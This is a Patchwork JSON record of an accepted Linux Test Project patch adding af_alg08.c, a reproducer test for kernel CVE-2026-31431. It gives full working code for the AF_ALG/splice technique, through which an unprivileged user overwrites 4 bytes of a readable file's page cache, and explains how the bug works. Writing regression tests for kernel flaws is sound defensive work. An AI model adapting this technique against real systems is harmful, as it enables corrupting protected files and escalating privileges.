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{
    "id": 2231285,
    "url": "http://patchwork.ozlabs.org/api/patches/2231285/?format=api",
    "web_url": "http://patchwork.ozlabs.org/project/ltp/patch/20260430-cve-2026-31431-v2-2-1136c09ca67b@suse.com/",
    "project": {
        "id": 59,
        "url": "http://patchwork.ozlabs.org/api/projects/59/?format=api",
        "name": "Linux Test Project development",
        "link_name": "ltp",
        "list_id": "ltp.lists.linux.it",
        "list_email": "ltp@lists.linux.it",
        "web_url": "",
        "scm_url": "",
        "webscm_url": "",
        "list_archive_url": "",
        "list_archive_url_format": "",
        "commit_url_format": ""
    },
    "msgid": "<20260430-cve-2026-31431-v2-2-1136c09ca67b@suse.com>",
    "list_archive_url": null,
    "date": "2026-04-30T13:30:17",
    "name": "[v2,2/2] cve-2026-31431: Add page cache corruption reproducer",
    "commit_ref": null,
    "pull_url": null,
    "state": "accepted",
    "archived": false,
    "hash": "a8bc8b1f234f8de28930cceb08201e6ff1b159c5",
    "submitter": {
        "id": 83220,
        "url": "http://patchwork.ozlabs.org/api/people/83220/?format=api",
        "name": "Andrea Cervesato",
        "email": "andrea.cervesato@suse.de"
    },
    "delegate": null,
    "mbox": "http://patchwork.ozlabs.org/project/ltp/patch/20260430-cve-2026-31431-v2-2-1136c09ca67b@suse.com/mbox/",
    "series": [
        {
            "id": 502306,
            "url": "http://patchwork.ozlabs.org/api/series/502306/?format=api",
            "web_url": "http://patchwork.ozlabs.org/project/ltp/list/?series=502306",
            "date": "2026-04-30T13:30:15",
            "name": "cve-2026-31431 reproducer",
            "version": 2,
            "mbox": "http://patchwork.ozlabs.org/series/502306/mbox/"
        }
    ],
    "comments": "http://patchwork.ozlabs.org/api/patches/2231285/comments/",
    "check": "success",
    "checks": "http://patchwork.ozlabs.org/api/patches/2231285/checks/",
    "tags": {},
    "related": [],
    "headers": {
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        "From": "Andrea Cervesato <andrea.cervesato@suse.de>",
        "Date": "Thu, 30 Apr 2026 15:30:17 +0200",
        "MIME-Version": "1.0",
        "Message-Id": "<20260430-cve-2026-31431-v2-2-1136c09ca67b@suse.com>",
        "References": "<20260430-cve-2026-31431-v2-0-1136c09ca67b@suse.com>",
        "In-Reply-To": "<20260430-cve-2026-31431-v2-0-1136c09ca67b@suse.com>",
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        "X-Virus-Status": "Clean",
        "Subject": "[LTP] [PATCH v2 2/2] cve-2026-31431: Add page cache corruption\n reproducer",
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    },
    "content": "From: Andrea Cervesato <andrea.cervesato@suse.com>\n\nA logic bug in authencesn allows an unprivileged user to corrupt\n4 bytes of page cache via AF_ALG + splice. The test writes known\ndata to a file, attempts corruption through the AEAD scratch-write\npath, and verifies whether the file content was modified.\n\nTested-by: Avinesh Kumar <avinesh.kumar@suse.com>\nSigned-off-by: Andrea Cervesato <andrea.cervesato@suse.com>\n---\n runtest/cve                        |   1 +\n testcases/kernel/crypto/.gitignore |   1 +\n testcases/kernel/crypto/af_alg08.c | 164 +++++++++++++++++++++++++++++++++++++\n 3 files changed, 166 insertions(+)",
    "diff": "diff --git a/runtest/cve b/runtest/cve\nindex c3ecd74dd9f837924b810b7b431ebb911d809966..74300fb546a071ef2d1de3a02549eed35c9a57a4 100644\n--- a/runtest/cve\n+++ b/runtest/cve\n@@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03\n cve-2022-4378 cve-2022-4378\n cve-2025-38236 cve-2025-38236\n cve-2025-21756 cve-2025-21756\n+cve-2026-31431 af_alg08\ndiff --git a/testcases/kernel/crypto/.gitignore b/testcases/kernel/crypto/.gitignore\nindex 448f986a6acc1341eac052ae9663e8fe28e18d4d..aca016b62110b319eb2825669ce23f5b3608c73e 100644\n--- a/testcases/kernel/crypto/.gitignore\n+++ b/testcases/kernel/crypto/.gitignore\n@@ -5,6 +5,7 @@ af_alg04\n af_alg05\n af_alg06\n af_alg07\n+af_alg08\n pcrypt_aead01\n crypto_user01\n crypto_user02\ndiff --git a/testcases/kernel/crypto/af_alg08.c b/testcases/kernel/crypto/af_alg08.c\nnew file mode 100644\nindex 0000000000000000000000000000000000000000..06166b6244c1d72e03e3ff8d7e87b1b3b76e93a9\n--- /dev/null\n+++ b/testcases/kernel/crypto/af_alg08.c\n@@ -0,0 +1,164 @@\n+// SPDX-License-Identifier: GPL-2.0-or-later\n+/*\n+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>\n+ */\n+\n+/*\\\n+ * Test for CVE-2026-31431 (\"Copy Fail\") fixed in kernel v7.0:\n+ * a664bf3d603d (\"crypto: algif_aead - Separate src from dst\")\n+ *\n+ * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended\n+ * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes\n+ * into the page cache of any readable file. During AEAD decryption,\n+ * authencesn uses the destination scatterlist as scratch space for ESN byte\n+ * rearrangement. When data is spliced from a file into an AF_ALG socket, the\n+ * 2017 in-place optimization (72548b093ee3) places page cache pages into the\n+ * writable destination scatterlist. authencesn's scratch write then corrupts\n+ * those pages.\n+ *\n+ * The test creates a file with known data, attempts page cache corruption via\n+ * the AF_ALG + splice technique, and verifies whether the file content was\n+ * modified.\n+ *\n+ * Reproducer based on:\n+ * https://github.com/theori-io/copy-fail-CVE-2026-31431\n+ */\n+\n+#include \"tst_test.h\"\n+#include \"tst_af_alg.h\"\n+#include \"lapi/socket.h\"\n+#include \"lapi/splice.h\"\n+\n+#define TESTFILE \"copy_fail\"\n+#define OVERWRITE_SIZE 4\n+#define AEAD_AUTHSIZE 4\n+#define AEAD_ASSOCLEN 8\n+#define AES_IV_SIZE 16\n+#define SPI_SIZE 4\n+\n+static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };\n+static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };\n+\n+/*\n+ * authenc key format: struct rtattr header (8 bytes) +\n+ * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)\n+ */\n+static const uint8_t authenc_key[] = {\n+\t0x08, 0x00, 0x01, 0x00,\n+\t0x00, 0x00, 0x00, 0x10,\n+\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n+\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n+\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n+\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n+};\n+\n+static int algfd = -1;\n+static int reqfd = -1;\n+static int pipefd[2] = { -1, -1 };\n+static int file_fd = -1;\n+\n+static void try_corrupt(void)\n+{\n+\tconst uint8_t iv[AES_IV_SIZE] = { 0 };\n+\tuint8_t aad[AEAD_ASSOCLEN];\n+\tchar recvbuf[AEAD_ASSOCLEN];\n+\tloff_t off_in = 0;\n+\n+\talgfd = -1;\n+\treqfd = -1;\n+\tpipefd[0] = -1;\n+\tpipefd[1] = -1;\n+\n+\t/* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */\n+\tmemset(aad, 'A', SPI_SIZE);\n+\tmemcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);\n+\n+\talgfd = tst_alg_setup(\"aead\", \"authencesn(hmac(sha256),cbc(aes))\",\n+\t\t\t      authenc_key, sizeof(authenc_key));\n+\tSAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,\n+\t\t\tAEAD_AUTHSIZE);\n+\n+\treqfd = tst_alg_accept(algfd);\n+\n+\tconst struct tst_alg_sendmsg_params params = {\n+\t\t.decrypt = true,\n+\t\t.iv = iv,\n+\t\t.ivlen = AES_IV_SIZE,\n+\t\t.assoclen = AEAD_ASSOCLEN,\n+\t\t.msg_flags = MSG_MORE,\n+\t};\n+\n+\ttst_alg_sendmsg(reqfd, aad, sizeof(aad), &params);\n+\n+\tSAFE_PIPE(pipefd);\n+\n+\tTEST(splice(file_fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));\n+\tif (TST_RET < 0)\n+\t\ttst_brk(TBROK | TTERRNO, \"splice(file -> pipe)\");\n+\n+\tTEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));\n+\tif (TST_RET < 0)\n+\t\ttst_brk(TBROK | TTERRNO, \"splice(pipe -> AF_ALG)\");\n+\n+\t/* Expected to fail (invalid ciphertext); triggers the scratch write */\n+\tTST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);\n+\n+\tSAFE_CLOSE(pipefd[0]);\n+\tSAFE_CLOSE(pipefd[1]);\n+\tSAFE_CLOSE(reqfd);\n+\tSAFE_CLOSE(algfd);\n+}\n+\n+static void run(void)\n+{\n+\tint fd;\n+\tuint8_t readback[OVERWRITE_SIZE];\n+\n+\tfd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);\n+\tSAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);\n+\tSAFE_CLOSE(fd);\n+\n+\tfile_fd = SAFE_OPEN(TESTFILE, O_RDONLY);\n+\ttry_corrupt();\n+\tSAFE_CLOSE(file_fd);\n+\n+\tfile_fd = SAFE_OPEN(TESTFILE, O_RDONLY);\n+\tSAFE_READ(1, file_fd, readback, sizeof(readback));\n+\tSAFE_CLOSE(file_fd);\n+\n+\tif (memcmp(readback, original, OVERWRITE_SIZE) != 0)\n+\t\ttst_res(TFAIL, \"Page cache was corrupted via AF_ALG splice\");\n+\telse\n+\t\ttst_res(TPASS, \"Page cache was not corrupted\");\n+\n+\tSAFE_UNLINK(TESTFILE);\n+}\n+\n+static void cleanup(void)\n+{\n+\tif (pipefd[0] != -1)\n+\t\tSAFE_CLOSE(pipefd[0]);\n+\n+\tif (pipefd[1] != -1)\n+\t\tSAFE_CLOSE(pipefd[1]);\n+\n+\tif (reqfd != -1)\n+\t\tSAFE_CLOSE(reqfd);\n+\n+\tif (algfd != -1)\n+\t\tSAFE_CLOSE(algfd);\n+\n+\tif (file_fd != -1)\n+\t\tSAFE_CLOSE(file_fd);\n+}\n+\n+static struct tst_test test = {\n+\t.test_all = run,\n+\t.cleanup = cleanup,\n+\t.needs_tmpdir = 1,\n+\t.tags = (const struct tst_tag[]) {\n+\t\t{\"linux-git\", \"a664bf3d603d\"},\n+\t\t{\"CVE\", \"2026-31431\"},\n+\t\t{}\n+\t},\n+};\n",
    "prefixes": [
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}